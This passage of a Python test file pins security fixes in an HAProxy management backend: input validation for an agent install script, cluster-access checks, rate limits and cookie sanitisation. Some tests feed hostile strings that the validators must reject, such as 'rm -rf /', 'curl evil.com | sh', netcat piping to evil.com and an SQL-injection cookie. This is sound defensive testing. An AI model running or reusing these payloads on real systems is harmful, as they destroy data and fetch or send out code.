stats_socket_path="/var/run/haproxy.sock",
)
for field, payload in [
("haproxy_bin_path", "/usr/sbin/haproxy; rm -rf /"),
("haproxy_bin_path", "/usr/sbin/haproxy && curl evil.com | sh"),
("haproxy_bin_path", "/usr/sbin/$(rm -rf /)"),
("haproxy_bin_path", "/usr/sbin/`reboot`"),
("haproxy_bin_path", "/usr/sbin/haproxy\nrm -rf /"),
("haproxy_config_path", "/etc/haproxy/haproxy.cfg|nc evil.com 1234"),
("stats_socket_path", "/var/run/haproxy.sock>/etc/passwd"),
("stats_socket_path", "/var/run/haproxy.sock'rm"),
("haproxy_bin_path", "../../usr/sbin/haproxy"),
("haproxy_bin_path", "usr/sbin/haproxy"), # not absolute
]:
bad = {**base, field: payload}
try:
AgentScriptRequest(**bad)
except ValidationError:
continue
raise AssertionError(
f"Bulgu #81 regression: {field}={payload!r} was accepted"
)
def test_bulgu81_agent_name_rejects_metacharacters():
"""Agent name / hostname prefix flow into the install
script as bash variables; metacharacters break out of the
quoted context."""
from models.agent import AgentScriptRequest
from pydantic import ValidationError
base = dict(
platform="linux", architecture="amd64", pool_id=1, cluster_id=1,
agent_name="agt-1", hostname_prefix="hp-1",
haproxy_bin_path="/usr/sbin/haproxy",
haproxy_config_path="/etc/haproxy/haproxy.cfg",
stats_socket_path="/var/run/haproxy.sock",
)
for payload in [
"$(rm -rf /var/log/haproxy-agent)",
"`reboot`",
"agent; curl evil.com/x.sh|sh",
"agent\nrm -rf /",
"agent with spaces",
"", # empty
"-leading-dash", # invalid first char (per regex)
]:
bad = {**base, "agent_name": payload}
try:
AgentScriptRequest(**bad)
except ValidationError:
continue
raise AssertionError(
f"Bulgu #81 regression: agent_name={payload!r} was accepted"
)
def test_bulgu81_valid_inputs_still_accepted():
"""Sanity: the regex isn't so strict it rejects legitimate
real-world inputs."""
from models.agent import AgentScriptRequest
AgentScriptRequest(
platform="linux", architecture="amd64", pool_id=1, cluster_id=1,
agent_name="prod-edge-01",
hostname_prefix="haproxy.example.com",
haproxy_bin_path="/usr/sbin/haproxy",
haproxy_config_path="/etc/haproxy/haproxy.cfg",
stats_socket_path="/var/run/haproxy.sock",
)
AgentScriptRequest(
platform="macos", architecture="arm64", pool_id=2, cluster_id=3,
agent_name="dev_agent.1",
hostname_prefix="mac.local",
haproxy_bin_path="/opt/homebrew/sbin/haproxy",
haproxy_config_path="/opt/homebrew/etc/haproxy.cfg",
stats_socket_path="/opt/homebrew/var/run/haproxy.sock",
)
# ---- Bulgu #82 — bulk import / agent script cluster access ----
def test_bulgu82_bulk_create_validates_cluster_access():
src = _backend_src("routers/config.py")
# Pin per-handler invocation.
for fn_name in ("parse_bulk_config", "bulk_create_entities"):
fn_start = src.find(f"async def {fn_name}(")
assert fn_start != -1
window = src[fn_start:fn_start + 6000]
assert "validate_user_cluster_access" in window, (
f"{fn_name} missing cluster access validation"
)
assert "Bulgu #82 (round-22 audit)" in src
def test_bulgu82_generate_install_script_validates_cluster():
src = _backend_src("routers/agent.py")
fn_start = src.find("async def generate_install_script(")
assert fn_start != -1
window = src[fn_start:fn_start + 5000]
assert "validate_user_cluster_access" in window
assert "Bulgu #82 (round-22 audit)" in window
# ---- Bulgu #83 — grandfathered contradiction warning wording ----
def test_bulgu83_warning_includes_verbatim_rule_text():
"""The PUT-path grandfather warning must echo the verbatim
offending rule string so the operator can identify the
offender without opening the ACL Builder cards. Pre-fix the
warning only said "1 legacy rule" via the FE toast and
"Grandfathered <label> entry contains a self-contradictory
X !X condition that pre-dated this validation" via the server
JSON payload — both omitted the actual rule body, forcing
the operator to open the modal and hunt for the dead-code
entry."""
from models.frontend import FrontendConfig
from routers.frontend import (
_enforce_routing_rule_contradictions,
_rule_to_signature,
)
stale = "be-x if acl1 !acl1"
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
use_backend_rules=[stale],
)
warnings = _enforce_routing_rule_contradictions(
fe, grandfathered_signatures={_rule_to_signature(stale)},
)
assert len(warnings) == 1
# Verbatim rule body appears in the warning.
assert stale in warnings[0]
# The wording no longer uses the operator-unfriendly
# "Grandfathered" lead-in; the message states what the
# branch actually knows ("not modified by this edit").
assert "not modified by this edit" in warnings[0].lower()
def test_bulgu83_dict_redirect_warning_includes_signature_snippet():
"""Dict-shaped redirect rules with a contradictory `condition`
must still surface the offending signature in the warning
(truncated to 160 chars to bound the toast length). Pin the
truncation contract so a future refactor doesn't accidentally
grow the warning into a multi-KB blob."""
from models.frontend import FrontendConfig
from routers.frontend import (
_enforce_routing_rule_contradictions,
_rule_to_signature,
)
# Note: the redirect condition itself carries the contradiction;
# the dict wrapper is what the wizard emits.
bad_dict = {
"type": "scheme",
"scheme": "https",
"code": 301,
"condition": "if acl1 !acl1",
}
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
redirect_rules=[bad_dict],
)
warnings = _enforce_routing_rule_contradictions(
fe, grandfathered_signatures={_rule_to_signature(bad_dict)},
)
assert len(warnings) == 1
# Truncated signature (up to 160 chars) must appear in body.
assert "acl1" in warnings[0]
assert "!acl1" in warnings[0]
assert "redirect_rules" in warnings[0]
def test_bulgu83_static_marker_in_fe_warning_toast():
"""Front-end pin — the FrontendManagement.js toast no longer
calls these rules "legacy" and now lists each offending rule
body. Static-source check so a refactor that re-introduces
the misleading wording or drops the rule snippets is caught.
Skipped automatically when the test runs inside the backend
Dockerfile build context (which only copies `backend/` and
therefore has no `frontend/` tree next to it). This mirrors
the guard already used by every other front-end static-source
pin in this file (e.g. lines 583-592, 795-810, 833-845, etc.)
— Bulgu #83's pin was missing it, which broke the corporate
CI's `RUN python -m pytest` step in the backend Docker build
immediately after Round-23 went live.
"""
fm_path = (
_BACKEND_DIR.parent
/ "frontend"
/ "src"
/ "components"
/ "FrontendManagement.js"
)
if not fm_path.exists():
pytest.skip(
f"frontend not present at {fm_path}; running in backend-only "
"container is expected — skip JS source pin"
)
fm_src = fm_path.read_text()
assert "Bulgu #83 (round-23 audit)" in fm_src
# No more `legacy routing/redirect rule(s)` wording.
assert "legacy routing/redirect rule(s) with a self-contradictory" not in fm_src
# The new toast wires the offending rule snippets into the
# message body via `ruleSnippets`.
assert "ruleSnippets" in fm_src
# And it re-surfaces server-emitted warnings as a safety net.
assert "serverWarnings" in fm_src
# ----------------------------------------------------------------------------
# Bulgu #84 + #85 (round-23 audit — comprehensive Site Wizard live-test pass)
# ----------------------------------------------------------------------------
def test_bulgu84_acme_diagnostics_uses_last_seen_column():
"""Bulgu #84 (round-23 audit) — duplicate pin in this file so the
full bulgu-pin suite has a one-stop reference; the original sits
in `test_acme_diagnostics.py::test_bulgu84_check_agents_uses_
last_seen_column` and asserts the AsyncMock call shape.
This duplicate is a STATIC-SOURCE check that's cheaper to grep:
we open the service file and verify the wrong column name is
not back in the SQL, plus the Bulgu marker is present so a
future refactor that drops the comment also fails.
"""
svc_path = _BACKEND_DIR / "services" / "acme_diagnostics.py"
src = svc_path.read_text()
assert "Bulgu #84 (round-23 audit)" in src, (
"Bulgu #84 marker missing from acme_diagnostics.py — the "
"fix comment was removed but the underlying SQL change "
"may have been reverted too. Re-verify check_agents."
)
# Strip comments before scanning for the wrong column — the fix
# comment legitimately mentions ``a.last_heartbeat`` as the
# pre-fix symptom. We only care about NON-comment occurrences.
non_comment_lines = "\n".join(
ln for ln in src.splitlines() if not ln.lstrip().startswith("#")
)
# The canonical SELECT inside check_agents must use a.last_seen.
assert "SELECT a.id, a.hostname, a.status, a.last_seen" in non_comment_lines, (
"acme_diagnostics.check_agents must SELECT a.last_seen "
"(the canonical agents-table column). Pre-fix this used "
"a non-existent a.last_heartbeat and every preflight-acme "
"call 500'd in production."
)
assert "a.last_heartbeat" not in non_comment_lines, (
"acme_diagnostics still references a.last_heartbeat in non-"
"comment code — this column does NOT exist on the agents "
"table. Use a.last_seen."
)
def test_bulgu87_wizard_create_endpoint_rate_limited():
"""Bulgu #87 (round-23 audit) — `POST /api/sites` must be
rate-limited, matching the existing 5/min caps on the
/preview and /preflight-acme sibling endpoints.
Pre-fix the wizard's actual create endpoint had NO rate cap:
- /api/sites/preflight-acme → rate-limited (site_acme_preflight)
- /api/sites/preview → rate-limited (site_previewed)
- /api/sites (POST, create) → UNLIMITED ← gap
Round-3 live testing fired 10 wizard creates inside one
second against demo-cluster1; the response codes were
200/409/409/...409/200/409... — no 429 ever fired. With
Bulgu #86 fixed (version_name collision), the UNIQUE-error
side-effect that ACCIDENTALLY rate-limited rapid-fire creates
disappears too, so an authenticated user/script can now
create entities until the cluster apply queue clogs.
The fix calls `_enforce_rate_limit(conn, user_id,
"wizard_create_site")` early in create_site (after auth +
cluster-access checks). The action name must match what the
router itself logs (`wizard_create_site` — see
`_log_user_activity(... action="wizard_create_site", ...)`
in the same router); the activity_logger middleware
intentionally skips this endpoint to avoid double-logging,
so the rate-limit must reference the router-emitted action.
"""
sw_src = (_BACKEND_DIR / "routers" / "site_wizard.py").read_text()
assert "Bulgu #87 (round-23 audit)" in sw_src, (
"Bulgu #87 marker missing — the wizard create rate-limit "
"may have been reverted."
)
# The create_site function body must call _enforce_rate_limit
# with the canonical create action name.
import re as _re
m = _re.search(
r"async def create_site\([^)]*\)[^{]*:(.*?)(?=\nasync def |\n@router\.|\Z)",
sw_src,
_re.DOTALL,
)
assert m, "could not locate create_site function body in site_wizard.py"
fn_body = m.group(1)
assert (
'_enforce_rate_limit(conn, user_id, "wizard_create_site")' in fn_body
or "_enforce_rate_limit(conn, user_id, 'wizard_create_site')" in fn_body
), (
"create_site must call _enforce_rate_limit(... "
'"wizard_create_site") so rapid-fire POST /api/sites '
"calls hit a 429 cap; pre-fix the endpoint was unlimited."
)
def test_bulgu86_wizard_version_name_has_unique_suffix():
"""Bulgu #86 (round-23 audit) — pin the version-name generation so
two wizard POST /api/sites calls submitted within the SAME epoch
second cannot collide on `config_versions(cluster_id, version_name)`.
Pre-fix `version_name = f"bulk-site-create-{int(time.time())}"`
had seconds resolution. Round-3 live testing reproduced the
failure with a back-to-back wizard automation: the second call
returned 409 with the misleading
"A wizard entity with this name already exists on the
cluster (UNIQUE constraint). Pick a different name."
fall-through detail, even though the operator-supplied
backend / frontend / SSL names were genuinely unique — the
real collision was on the auto-generated version name. The
operator who tried to rename the wizard inputs would still
hit the same error and have no way to make progress until the
epoch second ticked over.
Fix: append a 6-hex-char UUID suffix
(`bulk-site-create-{ts}-{uuid.uuid4().hex[:6]}`) so the
suffix space is 16M and birthday-collision-proof at any
realistic per-second request rate. The `bulk-site-create-`
prefix is preserved so reject_pending_changes /
restore-from-prior-version paths (cluster.py:4179 prefix scan)
keep working.
Static-source pin so any future refactor that strips the
suffix fails this test.
"""
sw_src = (_BACKEND_DIR / "routers" / "site_wizard.py").read_text()
assert "Bulgu #86 (round-23 audit)" in sw_src, (
"Bulgu #86 marker missing — the version_name uniqueness "
"suffix may have been reverted."
)
# The fixed form references uuid.uuid4().hex[:6] (or similar
# length-bounded random suffix) appended to the ts. A pure
# `f"bulk-site-create-{ts}"` line (without any suffix
# interpolation after ts) is the regressed form.
import re as _re
# Find the wizard's version_name assignment. We allow flexible
# spacing / quoting around the f-string but require the suffix
# interpolation token immediately after `{ts}-`.
has_suffix = bool(_re.search(
r'version_name\s*=\s*f"bulk-site-create-\{ts\}-\{[^}]+\}"',
sw_src,
))
has_regressed = bool(_re.search(
r'version_name\s*=\s*f"bulk-site-create-\{ts\}"\s*$',
sw_src,
_re.MULTILINE,
))
assert has_suffix, (
"wizard's version_name must append a unique suffix "
"(e.g. uuid.uuid4().hex[:6]) after `{ts}` so back-to-back "
"wizard creates within the same epoch second cannot "
"collide on config_versions UNIQUE."
)
assert not has_regressed, (
"wizard's version_name regressed to seconds-only resolution "
"— this re-introduces Bulgu #86 (UNIQUE collision on rapid "
"back-to-back creates)."
)
def test_bulgu85_unique_violation_handler_extracts_constraint_name():
"""Bulgu #85 (round-23 audit) — the wizard's UniqueViolationError
handler must surface the offending constraint name in the operator-
visible 409 detail so debugging a "wizard entity with this name
already exists" toast doesn't require shell access to the server
logs.
Pre-fix the handler had THREE branches:
* backends_name_cluster_id_key → "backend with this name"
* frontends_name_cluster_id_key → "frontend with this name"
* else → generic "wizard entity"
Any other constraint (SSL cert UNIQUE, backend_servers UNIQUE,
config_versions UNIQUE) fell through to the generic message,
leaving the operator with NO actionable hint and requiring an
on-call engineer to ssh into the API pod and tail `logger.info`
output to find ``constraint=<name>`` in the asyncpg traceback.
The fix:
1. Echoes the entity NAME (body.backend.name, body.frontend.name,
body.ssl.name) so the operator can match toast to wizard input.
2. Adds dedicated branches for `ssl_certificates_*` and
`backend_servers_*` constraints with actionable hints.
3. In the fall-through ELSE branch, echoes the constraint name
from `uve.constraint_name` (or substring scan as fallback)
so an unknown constraint still gives the engineer a stable
schema identifier to grep.
"""
sw_src = (_BACKEND_DIR / "routers" / "site_wizard.py").read_text()
assert "Bulgu #85 (round-23 audit)" in sw_src, (
"Bulgu #85 marker missing from site_wizard.py UniqueViolation "
"handler — the constraint-echoing fix may have been reverted."
)
# Entity-name echoing in branch detail bodies.
assert "body.backend.name" in sw_src and (
"A backend named '{body.backend.name}'" in sw_src
or "A backend named '\"{body.backend.name}\"" in sw_src
or "A backend named '" in sw_src and "body.backend.name" in sw_src
)
assert "A frontend named '{body.frontend.name}'" in sw_src or (
"A frontend named '" in sw_src and "body.frontend.name" in sw_src
)
# SSL cert and backend_servers branches present.
assert "ssl_certificates" in sw_src
assert "backend_servers" in sw_src
# Fall-through echoes constraint name.
assert "constraint=" in sw_src or "constraint_name" in sw_src
# The asyncpg attribute is preferred over str(uve) scanning.
assert 'getattr(uve, "constraint_name"' in sw_src, (
"Fix should prefer asyncpg's structured constraint_name "
"attribute over substring scanning str(uve), which is the "
"human-formatted DETAIL line and may vary across server "
"versions / locales."
)
# ----- Bulgu #88 / #89 (round-24 audit) ----------------------------------
#
# `POST /api/sites/preview` skipped the SSL-cert cluster-RBAC gate that
# `POST /api/sites` (create) enforces via `select_existing_cert()`. The
# `select_existing_cert()` helper encodes "global cert OR junction-bound
# to <cluster_id>"; pre-fix the preview accepted ssl_certificate_id values
# bound to OTHER clusters and returned the full rendered `would_create`
# envelope — a tenant-boundary information leak for the cert id and the
# rendered HAProxy config snippet. The fix mirrors the create-time check
# in the preview path: same predicate, same 400 status, same error text.
def test_bulgu88_preview_enforces_ssl_cert_cluster_rbac():
"""Preview must reject `ssl.ssl_certificate_id` referencing a cert
that is bound to a DIFFERENT cluster — same RBAC predicate the
create endpoint enforces. Static source check: the preview body
invokes `select_existing_cert` with `body.ssl.ssl_certificate_id`
and raises 400 with a "not found / inactive / not bound" hint."""
import os
sw_path = os.path.join(
os.path.dirname(__file__), "..", "routers", "site_wizard.py",
)
with open(sw_path, "r") as fh:
sw_src = fh.read()
# Locate the preview function.
assert "async def preview_create(" in sw_src
preview_start = sw_src.index("async def preview_create(")
# Bound the slice at the next top-level `async def` so we don't
# match the create_site copy (which is at line ~1900 and would
# cause this test to trivially pass even if preview was unfixed).
next_def = sw_src.index("\nasync def ", preview_start + 1)
preview_body = sw_src[preview_start:next_def]
# The preview must call select_existing_cert.
assert "select_existing_cert(" in preview_body, (
"Preview path must mirror create_site's cluster-RBAC gate by "
"invoking select_existing_cert(conn, ssl_certificate_id, "
"cluster_id). Pre-fix preview returned 200 with the full "
"rendered would_create envelope when the cert belonged to a "
"different cluster — a tenant-boundary information leak."
)
# The check must be wired to the body.ssl.ssl_certificate_id field
# (not some unrelated cert reference).
assert "body.ssl.ssl_certificate_id" in preview_body, (
"Preview RBAC check must reference body.ssl.ssl_certificate_id"
)
# Must raise 400 (consistent with create-time message).
assert "status_code=400" in preview_body
assert "not found / inactive / not bound" in preview_body or (
"not found / inactive" in preview_body
and "not bound" in preview_body
), (
"Preview should raise 400 with the same 'not found / inactive "
"/ not bound to this cluster' hint create_site emits, so wizard "
"clients can match the message uniformly."
)
def test_bulgu89_preview_enforces_per_server_ca_bundle_cluster_rbac():
"""Preview must also enforce per-server `ssl_certificate_id` (CA
bundle) cluster-RBAC. Pre-fix only `create_site` checked this — a
direct API caller could submit a preview with
`servers[i].ssl_certificate_id=<cert from another cluster>` and
receive the full rendered backend block back, including the
`ca-file` directive bound to a cert id the caller's cluster has
no junction row for."""
import os
sw_path = os.path.join(
os.path.dirname(__file__), "..", "routers", "site_wizard.py",
)
with open(sw_path, "r") as fh:
sw_src = fh.read()
preview_start = sw_src.index("async def preview_create(")
next_def = sw_src.index("\nasync def ", preview_start + 1)
preview_body = sw_src[preview_start:next_def]
# Must iterate body.servers and check per-server ssl_certificate_id.
assert "body.servers" in preview_body, (
"Preview must iterate body.servers to validate each "
"server.ssl_certificate_id reference"
)
assert "ssl_certificate_id" in preview_body
# The per-server message must be field-qualified so operators see
# WHICH server triggered the gate.
assert "servers[" in preview_body and "ssl_certificate_id=" in preview_body, (
"Per-server preview error must include the array index "
"(servers[i].ssl_certificate_id=<id>) so operators can find "
"the offending row in their wizard payload."
)
# ----- Bulgu #90 (round-24 audit) ----------------------------------------
#
# `backend.cookie_name`, `backend.cookie_options`, and `server.cookie_value`
# only rejected newline characters pre-fix. HAProxy's directive parser
# tokenises by whitespace and treats `;` as an inline-comment, so a value
# like `SESS'; DROP TABLE backends; --` rendered as
# `cookie SESS'; DROP TABLE backends; -- insert indirect nocache` which
# HAProxy parsed as `cookie SESS'` + comment — silently truncating the
# operator's persistence options and producing a malformed Set-Cookie
# header that browsers may drop. Tighten to the conservative
# alphanumeric+`_.-` set (cookie_name / cookie_value) and the keyword/
# `=`-bearing set (cookie_options).
def test_bulgu90_cookie_name_rejects_haproxy_parser_hostile_chars():
"""cookie_name must reject `;` (HAProxy inline comment), whitespace
(token delimiter), and other punctuation that breaks the rendered
`cookie <name>` directive."""
from models.site_wizard import BackendStep
import pydantic
# Semicolon (HAProxy comment) — used to be silently accepted.
with pytest.raises(pydantic.ValidationError):
BackendStep(name="be1", cookie_name="SESS'; DROP TABLE backends; --")
# Space (token delimiter) — splits the cookie directive.
with pytest.raises(pydantic.ValidationError):
BackendStep(name="be1", cookie_name="SESS ID")
# Quote (legal in RFC 6265 but produces ugly Set-Cookie headers
# and confuses log scrapers).
with pytest.raises(pydantic.ValidationError):
BackendStep(name="be1", cookie_name='SESS"id')
# Common-case valid input continues to work.
BackendStep(name="be1", cookie_name="SESS_ID-1.app")
def test_bulgu90_cookie_options_rejects_parser_hostile_chars():
"""cookie_options must reject `;` and quoting metacharacters but
still accept legitimate `attr SameSite=Lax` style values."""
from models.site_wizard import BackendStep
import pydantic
with pytest.raises(pydantic.ValidationError):
BackendStep(
name="be1", cookie_name="SESS",
cookie_options="insert indirect; rm -rf /",
)
with pytest.raises(pydantic.ValidationError):
BackendStep(
name="be1", cookie_name="SESS",
cookie_options='insert "indirect"',
)
# Valid HAProxy cookie options continue to parse.
BackendStep(
name="be1", cookie_name="SESS",
cookie_options="insert indirect nocache attr SameSite=Lax",
)
def test_bulgu90_server_cookie_value_rejects_rfc6265_disallowed_chars():
"""server.cookie_value must reject `;`, whitespace, and other
chars RFC 6265 disallows in cookie-values."""
from models.site_wizard import ServerStep
import pydantic
with pytest.raises(pydantic.ValidationError):
ServerStep(
server_name="s1", server_address="10.0.0.1",
server_port=8080, cookie_value="srv1; secure",
)
with pytest.raises(pydantic.ValidationError):
ServerStep(
server_name="s1", server_address="10.0.0.1",
server_port=8080, cookie_value="srv 1",
)
# Valid cookie values continue to work.
ServerStep(
server_name="s1", server_address="10.0.0.1",
server_port=8080, cookie_value="srv-1.app_2",
)
# ----- Bulgu #93 (round-24 audit) ----------------------------------------
#
# `GET /api/sites/suggest` produced backend/frontend name suggestions
# using `c.isalnum()` over the first domain label. Python's `isalnum()`
# is Unicode-aware and returns True for non-ASCII letters (ü, é, ñ, …),
# so an operator typing `bücher.example.com` received
# `backend_name='be-bücher'`. The wizard CREATE path then rejected the
# very name the SUGGEST endpoint returned, because the entity-name
# regex (`^[a-zA-Z][a-zA-Z0-9_-]{0,63}$`) and the domain validator are
# both ASCII-only. The fix converts non-ASCII labels through IDN/
# punycode FIRST and only then applies ASCII-only sanitisation, so the
# resulting name is one the operator can submit unchanged.
def test_bulgu93_suggest_idn_unicode_produces_ascii_safe_slug():
"""`suggest` must produce slugs that the backend/frontend name
regex `^[a-zA-Z][a-zA-Z0-9_-]{0,63}$` accepts. Static source check:
the suggest function uses an ASCII-only predicate
(`c.isascii() and c.isalnum()` etc.) and routes IDN labels through
`encode('idna')` to preserve the operator's intent in punycode."""
import os, re
sw_path = os.path.join(
os.path.dirname(__file__), "..", "routers", "site_wizard.py",
)
with open(sw_path, "r") as fh:
sw_src = fh.read()
# Locate the suggest_defaults function body.
assert "async def suggest_defaults(" in sw_src
start = sw_src.index("async def suggest_defaults(")
end = sw_src.index("\n@router.", start + 1)
suggest_body = sw_src[start:end]
# The fix must use IDN/punycode encoding when the input is non-ASCII.
assert 'encode("idna")' in suggest_body or "encode('idna')" in suggest_body, (
"suggest_defaults must route non-ASCII labels through IDN/"
"punycode so the rendered slug matches the ASCII-only entity-"
"name regex the create endpoint enforces."
)
# The sanitiser must use an ASCII-only predicate, not Unicode-aware
# `isalnum()` alone (which is the pre-fix bug).
assert "isascii()" in suggest_body, (
"Sanitisation step must explicitly bound to ASCII (via "
"`c.isascii()`) so Unicode alphabetics get mapped to '-' rather "
"than retained verbatim."
)
# The first occurrence of the Unicode-only `c.isalnum()` (without an
# adjacent isascii() guard) must no longer exist in the slug-build
# path. We sanity-check by counting the matches of the bare
# `c.isalnum()` token within the function body — pre-fix there was
# exactly one such occurrence in the slug builder.
bare = re.findall(r"\bc\.isalnum\(\)\b", suggest_body)
assert all(
# Each occurrence must be paired with an `isascii()` guard on
# the same line — confirm by inspecting the line context.
any("isascii()" in ln for ln in suggest_body.splitlines() if "c.isalnum()" in ln)
for _ in bare
), (
"Every `c.isalnum()` predicate in the slug builder must be "
"AND'd with `c.isascii()` so non-ASCII letters cannot leak "
"into the suggested entity names."
)
def test_bulgu93_suggest_function_behavioural_smoke():
"""Behavioural check: the same logic, invoked directly, should
produce an ASCII-only slug for a Unicode input."""
# Replicate the post-fix slug builder inline so the test does not
# require an event loop / FastAPI fixture. The point is to confirm
# the algorithmic shape matches what the source check above
# enforces.
def _build_slug(domain: str) -> str:
first_label = (
domain.replace("*.", "").split(".")[0]
if domain.replace("*.", "")
else ""
)
ascii_label = first_label
if first_label and not first_label.isascii():
try:
ascii_label = first_label.encode("idna").decode("ascii")
except (UnicodeError, UnicodeDecodeError):
ascii_label = "".join(
c if c.isascii() and (c.isalnum() or c in ("-", "_"))
else "-"
for c in first_label
)
slug = (ascii_label or "newhost")[:32].lower()
slug = "".join(
c if c.isascii() and (c.isalnum() or c in ("-", "_"))
else "-"
for c in slug
)
if slug.startswith("_"):
slug = "h-" + slug.lstrip("_")
if not slug or not slug[0].isalpha():
slug = "h-" + slug
return slug
# Unicode IDN — should round-trip through punycode.
s = _build_slug("bücher.example.com")
# punycode of 'bücher' is 'xn--bcher-kva'
assert s == "xn--bcher-kva", f"expected xn--bcher-kva got {s!r}"
# The slug must satisfy the entity-name regex.
import re
assert re.fullmatch(r"^[a-zA-Z][a-zA-Z0-9_-]{0,63}$", s), s
# Plain ASCII domain still produces the obvious slug.
assert _build_slug("example.com") == "example"
# Uppercase normalises to lowercase.
assert _build_slug("EXAMPLE.COM") == "example"
# Trailing dot (FQDN absolute) stripped.
assert _build_slug("example.com.") == "example"
# Empty / dots-only input falls back to 'newhost'.
assert _build_slug("") == "newhost"
assert _build_slug("...") == "newhost"